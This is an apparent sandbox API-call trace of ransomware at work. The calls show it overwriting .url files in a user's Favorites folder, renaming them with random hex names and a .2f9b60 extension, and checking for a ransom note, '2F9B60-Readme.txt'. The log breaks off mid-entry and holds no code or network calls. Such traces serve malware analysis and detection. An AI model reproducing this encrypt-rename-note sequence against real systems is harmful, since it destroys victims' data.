RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce636f0) returned 1 [0218.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505010) returned 1 [0218.198] FlushFileBuffers (hFile=0x1ad8) returned 1 [0222.594] CloseHandle (hObject=0x1ad8) returned 1 [0224.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x20505eb0 [0224.742] wcscpy (in: _Dest=0x20505eb0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" [0224.742] wcscat (in: _Dest=0x20505eb0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\2F9B60-Readme.txt" [0224.742] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\2f9b60-readme.txt")) returned 0x20 [0226.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505eb0) returned 1 [0226.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b310) returned 1 Thread: id = 1803 os_tid = 0xc28 [0132.289] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url")) returned 0x20 [0132.290] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url", dwFileAttributes=0x20) returned 1 [0132.290] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1adc [0132.290] GetFileSizeEx (in: hFile=0x1adc, lpFileSize=0x2949f760 | out: lpFileSize=0x2949f760*=133) returned 1 [0132.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202669c0 [0132.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a50 [0132.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ab0 [0132.291] NtQuerySystemTime (in: CurrentTime=0x2949f620 | out: CurrentTime=0x2949f620*=132462177375370000) returned 0x0 [0132.291] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x14305e6 [0132.291] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x7a94f8ed [0132.291] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x5ad59fe8 [0132.291] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x544a293a [0132.291] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x6525d457 [0132.291] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x425f34a8 [0132.291] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x5828ea8e [0132.291] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x54490bc7 [0132.291] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x6e0cf0ab [0132.291] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x2451ce [0132.291] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x6974abce [0132.291] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0xaaf9494 [0132.291] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x12dd2bba [0132.291] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x1048bc6 [0132.291] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x56d6b56e [0132.291] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x68217d32 [0132.291] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x6380f67 [0132.291] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x7ea944 [0132.291] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x77a975be [0132.291] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x2b21a5e2 [0132.291] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x468477bb [0132.291] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x5feb5b93 [0132.292] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x4d1f81bb [0132.292] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x1c494281 [0132.292] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x47a73323 [0132.292] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x69499597 [0132.292] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x702e32b8 [0132.292] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x6772bb56 [0132.292] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x56417a21 [0132.292] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x7d723f47 [0132.292] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x2df78cb4 [0132.292] RtlRandomEx (in: Seed=0x2949f610 | out: Seed=0x2949f610) returned 0x3c04eeec [0132.302] ReadFile (in: hFile=0x1adc, lpBuffer=0x20135950, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x2949f610, lpOverlapped=0x0 | out: lpBuffer=0x20135950*, lpNumberOfBytesRead=0x2949f610*=0x85, lpOverlapped=0x0) returned 1 [0132.304] SetFilePointerEx (in: hFile=0x1adc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.304] WriteFile (hFile=0x1adc, lpBuffer=0x41de2d00, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x2949f614, lpOverlapped=0x0) [0180.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac4430 [0180.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac43a0 [0180.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac43a0) returned 1 [0180.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41de2d00) returned 1 [0180.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20135950) returned 1 [0180.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505190) returned 1 [0180.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0180.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f670 [0180.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0180.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505190 [0180.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac43a0 [0180.122] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac43a0) returned 1 [0180.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f930 [0180.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac43a0 [0180.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8520 [0180.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8520) returned 1 [0180.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505190) returned 1 [0180.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0180.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10e) returned 0x42c142d0 [0180.124] SetFilePointerEx (in: hFile=0x1adc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.124] WriteFile (in: hFile=0x1adc, lpBuffer=0x42c142d0*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2949f730, lpOverlapped=0x0 | out: lpBuffer=0x42c142d0*, lpNumberOfBytesWritten=0x2949f730*=0x10e, lpOverlapped=0x0) returned 1 [0188.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97530 [0188.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0188.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267d70 [0188.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267d70) returned 1 [0188.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x20267d70 [0188.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267da0 [0188.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267fe0 [0188.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267fe0) returned 1 [0188.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0188.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97530) returned 1 [0188.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd97530 [0188.240] sprintf (in: _Dest=0x1cd97530, _Format="%c%c" | out: _Dest="90") returned 2 [0188.240] sprintf (in: _Dest=0x1cd97532, _Format="%c%c" | out: _Dest="2d") returned 2 [0188.240] sprintf (in: _Dest=0x1cd97534, _Format="%c%c" | out: _Dest="96") returned 2 [0188.240] sprintf (in: _Dest=0x1cd97536, _Format="%c%c" | out: _Dest="21") returned 2 [0188.240] sprintf (in: _Dest=0x1cd97538, _Format="%c%c" | out: _Dest="b1") returned 2 [0188.240] sprintf (in: _Dest=0x1cd9753a, _Format="%c%c" | out: _Dest="8c") returned 2 [0188.240] sprintf (in: _Dest=0x1cd9753c, _Format="%c%c" | out: _Dest="80") returned 2 [0188.240] sprintf (in: _Dest=0x1cd9753e, _Format="%c%c" | out: _Dest="2d") returned 2 [0188.240] sprintf (in: _Dest=0x1cd97540, _Format="%c%c" | out: _Dest="84") returned 2 [0188.241] sprintf (in: _Dest=0x1cd97542, _Format="%c%c" | out: _Dest="6e") returned 2 [0188.241] sprintf (in: _Dest=0x1cd97544, _Format="%c%c" | out: _Dest="0e") returned 2 [0188.241] sprintf (in: _Dest=0x1cd97546, _Format="%c%c" | out: _Dest="d8") returned 2 [0188.241] sprintf (in: _Dest=0x1cd97548, _Format="%c%c" | out: _Dest="6a") returned 2 [0188.241] sprintf (in: _Dest=0x1cd9754a, _Format="%c%c" | out: _Dest="8f") returned 2 [0188.241] sprintf (in: _Dest=0x1cd9754c, _Format="%c%c" | out: _Dest="9d") returned 2 [0188.241] sprintf (in: _Dest=0x1cd9754e, _Format="%c%c" | out: _Dest="b3") returned 2 [0188.241] sprintf (in: _Dest=0x1cd97550, _Format="%c%c" | out: _Dest="fe") returned 2 [0188.241] sprintf (in: _Dest=0x1cd97552, _Format="%c%c" | out: _Dest="d2") returned 2 [0188.241] sprintf (in: _Dest=0x1cd97554, _Format="%c%c" | out: _Dest="7d") returned 2 [0188.241] sprintf (in: _Dest=0x1cd97556, _Format="%c%c" | out: _Dest="09") returned 2 [0188.241] sprintf (in: _Dest=0x1cd97558, _Format="%c%c" | out: _Dest="42") returned 2 [0188.241] sprintf (in: _Dest=0x1cd9755a, _Format="%c%c" | out: _Dest="27") returned 2 [0188.241] sprintf (in: _Dest=0x1cd9755c, _Format="%c%c" | out: _Dest="fd") returned 2 [0188.241] sprintf (in: _Dest=0x1cd9755e, _Format="%c%c" | out: _Dest="08") returned 2 [0188.241] sprintf (in: _Dest=0x1cd97560, _Format="%c%c" | out: _Dest="d7") returned 2 [0188.241] sprintf (in: _Dest=0x1cd97562, _Format="%c%c" | out: _Dest="6e") returned 2 [0188.241] sprintf (in: _Dest=0x1cd97564, _Format="%c%c" | out: _Dest="f1") returned 2 [0188.241] sprintf (in: _Dest=0x1cd97566, _Format="%c%c" | out: _Dest="76") returned 2 [0188.241] RtlInitAnsiString (in: DestinationString=0x2949f7a8, SourceString="902d9621b18c802d846e0ed86a8f9db3fed27d094227fd08d76ef176" | out: DestinationString="902d9621b18c802d846e0ed86a8f9db3fed27d094227fd08d76ef176") [0188.241] RtlAnsiStringToUnicodeString (in: DestinationString=0x2949f778, SourceString="902d9621b18c802d846e0ed86a8f9db3fed27d094227fd08d76ef176", AllocateDestinationString=1 | out: DestinationString="902d9621b18c802d846e0ed86a8f9db3fed27d094227fd08d76ef176") returned 0x0 [0188.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x20504310 [0188.242] RtlFreeAnsiString (AnsiString="9") [0188.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97530) returned 1 [0188.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267d70) returned 1 [0188.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267da0) returned 1 [0188.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c142d0) returned 1 [0188.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f930) returned 1 [0188.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac43a0) returned 1 [0188.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f670) returned 1 [0188.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac4430) returned 1 [0188.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266a50) returned 1 [0188.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266810) returned 1 [0188.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266990) returned 1 [0188.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1ce63650 [0188.248] wcscat (in: _Dest=0x1ce63650, _Source="902d9621b18c80" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\902d9621b18c80") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\902d9621b18c80" [0188.248] wcscat (in: _Dest=0x1ce63650, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\902d9621b18c80.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\902d9621b18c80.2f9b60" [0188.248] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\902d9621b18c80.2f9b60", NtPathName=0x2949f750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\902d9621b18c80.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0188.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x42c37710 [0224.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c37710) returned 1 [0224.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c138e0) returned 1 [0224.135] NtQueryInformationFile (in: FileHandle=0x1adc, IoStatusBlock=0x2949f7b8, FileInformation=0x2949f7c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2949f7b8, FileInformation=0x2949f7c8) returned 0x0 [0224.135] NtSetInformationFile (FileHandle=0x1adc, IoStatusBlock=0x2949f7b8, FileInformation=0x2949f7c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63650) returned 1 [0225.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504310) returned 1 [0225.355] FlushFileBuffers (hFile=0x1adc) returned 1 [0225.550] CloseHandle (hObject=0x1adc) returned 1 [0226.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x431c9940 [0226.001] wcscpy (in: _Dest=0x431c9940, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" [0226.001] wcscat (in: _Dest=0x431c9940, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\2F9B60-Readme.txt" [0226.001] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\2f9b60-readme.txt")) returned 0x20 [0226.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c9940) returned 1 [0226.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86afb0) returned 1 Thread: id = 1804 os_tid = 0xc2c [0132.311] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url")) returned 0x20 [0132.311] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url", dwFileAttributes=0x20) [0183.763] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ae0 [0183.764] GetFileSizeEx (in: hFile=0x1ae0, lpFileSize=0x2993fb20 | out: lpFileSize=0x2993fb20*=133) returned 1 [0183.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33200 [0183.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33230 [0183.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33260 [0183.766] NtQuerySystemTime (in: CurrentTime=0x2993f9e0 | out: CurrentTime=0x2993f9e0*=132462177888610000) returned 0x0 [0183.766] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x1e193090 [0183.766] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x355eb7ee [0183.766] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x370f01fc [0183.766] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x46b23540 [0183.766] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0xa785b5d [0183.766] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x6d33da66 [0183.766] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x773e3df [0183.766] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x7fa2304b [0183.766] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x4795b64c [0183.766] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x14cfd99d [0183.766] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x14f72395 [0183.766] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x25a15a32 [0183.766] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x5c9bf159 [0183.766] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x3f6d7408 [0183.766] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x454b3e4d [0183.766] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x20bc2ed5 [0183.766] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x6cfc80ff [0183.766] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x4f73ae9 [0183.766] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x79f6eec1 [0183.766] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x333ade1f [0183.766] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x962b2b7 [0183.766] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x5e403c59 [0183.766] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x5c7b76f9 [0183.766] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x41d5e00 [0183.766] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x6f71be9d [0183.766] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x60ea33af [0183.766] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x701b0b82 [0183.767] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x2499904c [0183.767] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x297b36ae [0183.767] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x77fda2db [0183.767] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x53c40a8c [0183.767] RtlRandomEx (in: Seed=0x2993f9d0 | out: Seed=0x2993f9d0) returned 0x573551f7 [0183.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33290 [0183.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b430 [0183.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d332c0 [0183.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b430) returned 1 [0183.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d33260) returned 1 [0183.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d33200) returned 1 [0183.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c470 [0183.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b430 [0183.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33200 [0183.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d33200) returned 1 [0183.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429716b0 [0183.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429752c0 [0183.777] ReadFile (in: hFile=0x1ae0, lpBuffer=0x429716b0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x2993f9d0, lpOverlapped=0x0 | out: lpBuffer=0x429716b0*, lpNumberOfBytesRead=0x2993f9d0*=0x85, lpOverlapped=0x0) returned 1 [0183.778] SetFilePointerEx (in: hFile=0x1ae0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.778] WriteFile (in: hFile=0x1ae0, lpBuffer=0x429752c0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x2993f9d4, lpOverlapped=0x0 | out: lpBuffer=0x429752c0*, lpNumberOfBytesWritten=0x2993f9d4*=0x85, lpOverlapped=0x0) returned 1 [0188.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134a80 [0188.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134ab0 [0188.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134ab0) returned 1 [0188.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429752c0) returned 1 [0188.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429716b0) returned 1 [0188.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b430) returned 1 [0188.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c470) returned 1 [0188.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x43134ab0 [0188.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c470 [0188.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b430 [0188.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134ae0 [0188.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134ae0) returned 1 [0188.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x43134ae0 [0188.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134b10 [0188.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134b40 [0188.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134b40) returned 1 [0188.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b430) returned 1 [0188.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c470) returned 1 [0188.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x4313ca50 [0188.340] SetFilePointerEx (in: hFile=0x1ae0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0188.340] WriteFile (in: hFile=0x1ae0, lpBuffer=0x4313ca50*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2993faf0, lpOverlapped=0x0 | out: lpBuffer=0x4313ca50*, lpNumberOfBytesWritten=0x2993faf0*=0x100, lpOverlapped=0x0) returned 1 [0200.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1de0 [0200.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867540 [0200.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2d20 [0200.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2d20) returned 1 [0200.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82d260 [0200.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 